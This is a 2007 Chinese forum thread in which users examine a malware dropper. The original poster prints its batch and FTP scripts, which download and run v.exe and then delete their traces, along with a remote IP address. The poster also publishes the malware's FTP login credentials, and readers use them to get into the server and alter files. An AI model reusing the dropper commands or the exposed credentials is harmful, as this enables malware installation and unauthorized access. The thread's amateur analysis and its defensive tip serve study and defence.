我也从病毒中搞了个FTP

123 · 发表于 2007-6-6 22:32:11

ftp://sp1:613696@sp1.h1.8210.cn

[ 本帖最后由 123 于 2007-6-7 10:21 AM 编辑 ]

pandorak · 发表于 2007-6-6 22:37:38

提示: 作者被禁止或删除内容自动屏蔽

chinazswa · 发表于 2007-6-6 22:53:13

偶才做的系统，就不试了。

xywlty · 发表于 2007-6-6 22:56:15

恭喜123 终于被你发现了!!!!

pandorak · 发表于 2007-6-6 22:59:11

提示: 作者被禁止或删除内容自动屏蔽

chinazswa · 发表于 2007-6-6 23:03:31

PANDORAK兄弟，你的速度太快了。555555 撵不上~~~。

123 · 发表于 2007-6-6 23:14:54

刚才谁删的文件?放回去!

xywlty · 发表于 2007-6-6 23:22:09

:L :L 谁那么快给删了？？

123 · 发表于 2007-6-6 23:25:11

居然有人建了个"看你还敢偷东西"的文件夹,难道是被发现了?

chinazswa · 发表于 2007-6-6 23:35:55

有可能。:time:

xywlty · 发表于 2007-6-6 23:36:03

:L 不会被发现吧!! 找这样个FTP很难的!!! 那么容易被发现?@!!!

xywlty · 发表于 2007-6-6 23:37:28

进去有上传的权限吗?@!!怎么那么容易就被更改??

123 · 发表于 2007-6-6 23:51:16

原帖由 xywlty 于 2007-6-6 23:37 发表
进去有上传的权限吗?@!!怎么那么容易就被更改??

跟林妹妹上次发现的那个是一样的,能上传下载改名删除,目录结构也一样,应该是同一个地方的虚拟主机.速度还不错,找找是哪申请的,我也搞一个

xywlty · 发表于 2007-6-7 00:03:37

原帖由 123 于 2007-6-6 11:51 PM 发表

跟林妹妹上次发现的那个是一样的,能上传下载改名删除,目录结构也一样,应该是同一个地方的虚拟主机.速度还不错,找找是哪申请的,我也搞一个

站点主数据：广西自治区南宁市电信

广西的

[ 本帖最后由 xywlty 于 2007-6-7 12:05 AM 编辑 ]

xywlty · 发表于 2007-6-7 00:06:42

哎呀不好太晚了睡觉去明天继续关注

sansa520 · 发表于 2007-6-7 00:26:13

上傳文件ing...

hero123 · 发表于 2007-6-7 00:31:58

无忧里就是多牛人。。。。。我啥时候有这种本事呢。。哈

sansa520 · 发表于 2007-6-7 00:36:31

牛人????在哪??我倒想见见牛人长得啥样的

pandorak · 发表于 2007-6-7 08:43:38

提示: 作者被禁止或删除内容自动屏蔽

xltyxs · 发表于 2007-6-7 09:58:20

想知道楼主是如何从病毒中找到FTP的.给个大概的方法.谢谢了.

123 · 发表于 2007-6-7 10:17:20

原帖由 xltyxs 于 2007-6-7 09:58 发表
想知道楼主是如何从病毒中找到FTP的.给个大概的方法.谢谢了.

在硬盘根目录发现类似ff.bat的文件,打开后有以下内容
ftp -s:c:\gz
c:\qq.exe
del c:\gz
cmd /c c:\a.bat
del c:\ff.bat
现在打开c:\gz,发现以下内容
open sp1.h1.8210.cn
sp1
613696
binary
get web/v.exe c:\qq.exe
bye
所以FTP是sp1.h1.8210.cn,用户名sp1,密码613696

123 · 发表于 2007-6-7 10:20:27

刚才发现已经不能上传了,但可以下载,linter来研究一下那个v.exe

lintel · 发表于 2007-6-7 10:30:25

原帖由 123 于 2007-6-7 10:20 AM 发表
刚才发现已经不能上传了,但可以下载,linter来研究一下那个v.exe

好的。。。。应该是不错的。。。。分析一下。。。。:lol

lintel · 发表于 2007-6-7 10:34:50

:lol 对付这种病毒，只要把FTP.exe改名就行了。。。。

123 · 发表于 2007-6-7 11:32:53

发现个地址,但没有捕获数据包,运行时天网不管用,winsock专家没响应,看端口可能捞不到什么油水
125.90.55.32:8000

[ 本帖最后由 123 于 2007-6-7 11:36 AM 编辑 ]

lintel · 发表于 2007-6-7 11:37:06

原帖由 123 于 2007-6-7 11:32 AM 发表
发现个地址,但没有捕获数据包,运行时天网不管用,winsock专家没响应,看端口可能捞不到什么油水
125.90.55.32:8000

你用什么样的东东查的？

123 · 发表于 2007-6-7 11:40:34

原帖由 lintel 于 2007-6-7 11:37 发表

你用什么样的东东查的？

netstat -an

lintel · 发表于 2007-6-7 11:44:56

原帖由 123 于 2007-6-7 11:40 AM 发表

netstat -an

试试系统安全盾。。。论坛的一个兄弟写的。。。。

123 · 发表于 2007-6-7 11:54:24

原帖由 lintel 于 2007-6-7 11:44 发表

试试系统安全盾。。。论坛的一个兄弟写的。。。。

那东西好像不能捕获数据包

xltyxs · 发表于 2007-6-7 12:31:07

我打开了web下的index.htm能不能中毒呀?

		自动登录	找回密码
密码			注册

pandorak pandorak 当前离线积分 53988 IP卡狗仔卡	发表于 2007-6-6 22:37:38 \| 显示全部楼层 ---> 升级权限提示: 作者被禁止或删除内容自动屏蔽
pandorak pandorak 当前离线积分 53988 IP卡狗仔卡
	回复使用道具举报显身卡

pandorak pandorak 当前离线积分 53988 IP卡狗仔卡	发表于 2007-6-6 22:59:11 \| 显示全部楼层 ---> 升级权限提示: 作者被禁止或删除内容自动屏蔽
pandorak pandorak 当前离线积分 53988 IP卡狗仔卡
	回复使用道具举报显身卡

pandorak pandorak 当前离线积分 53988 IP卡狗仔卡	发表于 2007-6-7 08:43:38 \| 显示全部楼层 ---> 升级权限提示: 作者被禁止或删除内容自动屏蔽
pandorak pandorak 当前离线积分 53988 IP卡狗仔卡
	回复使用道具举报显身卡